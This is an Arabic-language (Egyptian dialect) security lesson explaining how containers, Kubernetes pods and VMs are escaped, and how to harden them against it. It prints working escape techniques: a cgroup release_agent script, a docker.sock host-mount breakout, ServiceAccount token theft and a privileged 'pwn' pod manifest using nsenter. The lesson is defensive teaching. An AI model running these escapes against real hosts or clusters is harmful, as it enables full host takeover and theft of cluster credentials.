Container Escapes — تطلع من الـ Container للـ Host
Docker breakouts و K8s escapes و VM escapes
من الحاوية إلى الـ host — لما السجن يبقى كرتون
طب الحاوية ده اسمها "عزل" ولا اسمها "ستارة"؟
هي VM؟ لأ. هي chroot قديم؟ لأ.
هي عملية عادية على الـ host kernel، متلفّة في كذا طبقة namespace و capability و seccomp.
طبقة طبقة. زي البصلة.
لو طبقة وقعت = طبقة دفاع راحت. لو كلهم وقعوا = أنت root على الـ host. خلاص. كل اللي بيدور على الـ box ده بقا تحت إيدك.
إحنا في الدرس ده هنفكّك الفكرة دي خطوة خطوة. مش عشان تروح تخترق cluster مش بتاعك — عشان تفهم ليه الـ misconfig بتاعك إنت ممكن يبيعك في يوم واحد.
- بيشغّل
--privilegedعشان "التطبيق ماشتغلش" — وما يعرفش إنه لسه فاتح كل الـ host لأي حد جوه الحاوية. - بيركّب
/var/run/docker.sockجوه container عشان CI "محتاج Docker" — ده نفسه = root على الـ host. - بيستخدم image من Docker Hub اسمه قريب من الرسمي (
ubuntoبدلubuntu) من غير تحقق. - بيسيب الـ ServiceAccount auto-mount شغّال على كل pod حتى اللي مش محتاج API.
إيه اللي بيعزل الحاوية أصلاً؟
قبل ما نتكلم عن الهروب، خلينا نفهم السجن نفسه. الحاوية مش VM — هي عملية عادية على الـ kernel، بس متلفّة في كذا طبقة عزل:
- Namespaces: PID, network, mount, UTS, IPC, user, cgroup, time. كل واحد بيعزل بُعد واحد.
- cgroups: بتحدد الموارد (CPU, memory, io).
- capabilities: بتقسم صلاحيات root لحوالي 40 صلاحية مستقلة.
- seccomp-bpf: قائمة بيضاء للـ syscalls المسموحة.
- AppArmor / SELinux: MAC إجباري.
- UID mapping: user namespace بيخلّي root الحاوية = uid عادي على الـ host.
أي طبقة فيهم تسقط = طبقة دفاع أقل. لما تسقط كلهم = هربت.
Misconfigurations — السكة الأقصر للهروب
1) Privileged container
docker run --privileged ...
# يعطي كل الـ capabilities + access للـ devices = root كامل على hostmkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo 'ps -ef > /tmp/host_ps' >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# الـ release_agent يُنفّذ على host = root2) Mount sensitive paths
/var/run/docker.sockداخل الحاوية = تحكم كامل بالـ Docker daemon = root على host./procأو/sysمن host./الكامل (yes, this happens).
# لو /var/run/docker.sock مركّب
docker -H unix:///var/run/docker.sock run -v /:/host --privileged alpine \
chroot /host bash
# أنت الآن root على الـ host3) Dangerous capabilities
- CAP_SYS_ADMIN — تقريباً = root.
- CAP_SYS_PTRACE — اربط نفسك بعملية host (لو PID namespace مكسور).
- CAP_SYS_MODULE — حمّل kernel module.
- CAP_DAC_READ_SEARCH — اقرأ كل ملفات الـ host.
- CAP_NET_ADMIN — تلاعب بشبكة host.
ثغرات شهيرة في الـ runtime
- CVE-2019-5736 (runc) — كتابة فوق ثنائي runc من داخل الحاوية → كل تشغيل تالٍ يُنفّذ كود المهاجم على host.
- CVE-2022-0185 (Linux kernel) — heap overflow في fs context → escape مع CAP_SYS_ADMIN.
- CVE-2022-0492 (cgroups v1) — إساءة release_agent بدون CAP_SYS_ADMIN.
- Leaky Vessels (CVE-2024-21626) — runc + BuildKit، fd handle مسرّب يصل لـ host.
- CVE-2024-23653 (BuildKit) — هروب أثناء بناء الـ image.
Kubernetes — هروب من Pod
الجبهات المفتوحة
- ServiceAccount token داخل
/var/run/secrets/kubernetes.io/serviceaccount/. - kubelet API غير محمي على :10250.
- HostPath volumes تركيب مسارات حساسة.
- privileged: true أو hostNetwork: true أو hostPID: true.
- Insecure RBAC — ServiceAccount يستطيع
create pods, exec, secrets.
# اقرأ الـ token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
# تحقّق من الصلاحيات
kubectl auth can-i --list
# أداة شاملة
peirates
amicontained -v
deepce.shتقنيات الـ escalation داخل k8s
- Create privileged pod يربط
/الـ node. - Use hostPath في الـ pod الجديد للوصول لـ
/etc/kubernetes/pki← مفاتيح cluster-admin. - أو read all secrets في الـ namespaces.
- أو steal service account tokens من pods أخرى.
- التحرك إلى etcd = كل الـ cluster.
apiVersion: v1
kind: Pod
metadata: { name: pwn }
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
securityContext: { privileged: true }
command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash"]
volumeMounts: [{ name: host, mountPath: /host }]
volumes: [{ name: host, hostPath: { path: / } }]- Pod Security Standards:
restrictedprofile افتراضياً. - OPA Gatekeeper / Kyverno لمنع pods خطرة.
- RBAC بأقل صلاحيات + لا
cluster-adminلـ ServiceAccounts. - عطّل auto-mount الـ ServiceAccount tokens.
- NetworkPolicy: deny-all + allow-list.
- kubelet: authn=Webhook, anonymous-auth=false، شهادات mTLS.
- Image signing (cosign + sigstore policy).
- Runtime monitoring: Falco, Tracee, Tetragon.
- cluster forensics: kube-bench, kube-hunter, krane.
VM / Hypervisor Escapes — الجائزة الكبرى
الهروب من VM إلى hypervisor (Xen, KVM, VMware, Hyper-V) نادر و قاتل — يعطي تحكماً بكل VMs على نفس الـ host.
أمثلة تاريخية
- VENOM (CVE-2015-3456) — QEMU floppy controller.
- BlueKeep on Hyper-V.
- Pwn2Own escapes سنوياً على VMware Workstation / VirtualBox.
- L1TF, Foreshadow, MDS — side-channel attacks ضد عزل الـ CPU.
الحماية
- Patch الـ hypervisor أسرع من patch الـ guests (نطاق التأثير أكبر).
- عطّل الميزات غير الضرورية (USB passthrough, shared folders).
- استخدم microVMs (Firecracker, Kata Containers) للـ workloads المتعددة المستأجرين.
- افصل tenants على hosts فيزيائية مختلفة عند الحساسية القصوى.
قصة من الواقع — Capital One و Tesla
- طب اللي بيخترق الـ container بيشتغل على zero-day جامد صح يا حضرتك؟؟
لأ يا نجم الجيل.
هو بيشتغل على كسلك أنت.
Tesla 2018: حد لقى Kubernetes dashboard مكشوف من غير password. دخل، لقى AWS credentials في pod. شغّل crypto miner على بنيتهم التحتية. مفيش زيرو-داي ولا حاجة. مفيش غير dashboard مفتوح ومفتاح سايب.
Capital One 2019: SSRF على EC2 metadata، طلع IAM role، طلع 100 مليون record. الـ "cloud" مش سحر. هو نفس الـ misconfig القديم بأسماء جديدة.
الـ Volt Typhoon (الصين) دخلوا بنية تحتية أمريكية عبر ثغرات في edge devices ومن غير ما يجيبوا أي malware جديد — بس living-off-the-land. كاميرات وروترز قديمة. مفيش "متحصّن"، فيه "متراجع" بس.
مبادئ تصميم آمن للحاويات
- Distroless / scratch images — لا shell، لا apt، لا أي أداة للهجوم.
- Non-root user داخل الحاوية +
USER nobody. - readOnlyRootFilesystem: true.
- Drop ALL capabilities ثم أضف فقط ما يلزم.
- seccomp profile صارم (RuntimeDefault على الأقل).
- AppArmor / SELinux profile لكل خدمة.
- User namespace remapping — root الحاوية ≠ root host.
- افحص الـ images بـ trivy / grype / dockle قبل النشر.
- وقّع الـ images بـ cosign و افرض signature verification في k8s.
- قلّل سطح الـ host: Bottlerocket, Talos, Flatcar.
الخلاصة الناشفة
الـ container مش جدار. هو حدّ منطقي قابل للكسر.
كل ما زوّدت طبقة عزل، كل ما زوّدت تكلفة الهروب على المهاجم.
كل ما تكاسلت في طبقة، كل ما خصمت من تكلفته.
السؤال مش "هل ممكن أتخترق؟" — السؤال "لو حصل، الكارثة هتقف عند flag في cluster ولا هتوصل الـ host kernel؟".
لو إجابتك "مش عارف"، يبقا أنت مش بتدافع. أنت بتتفرّج.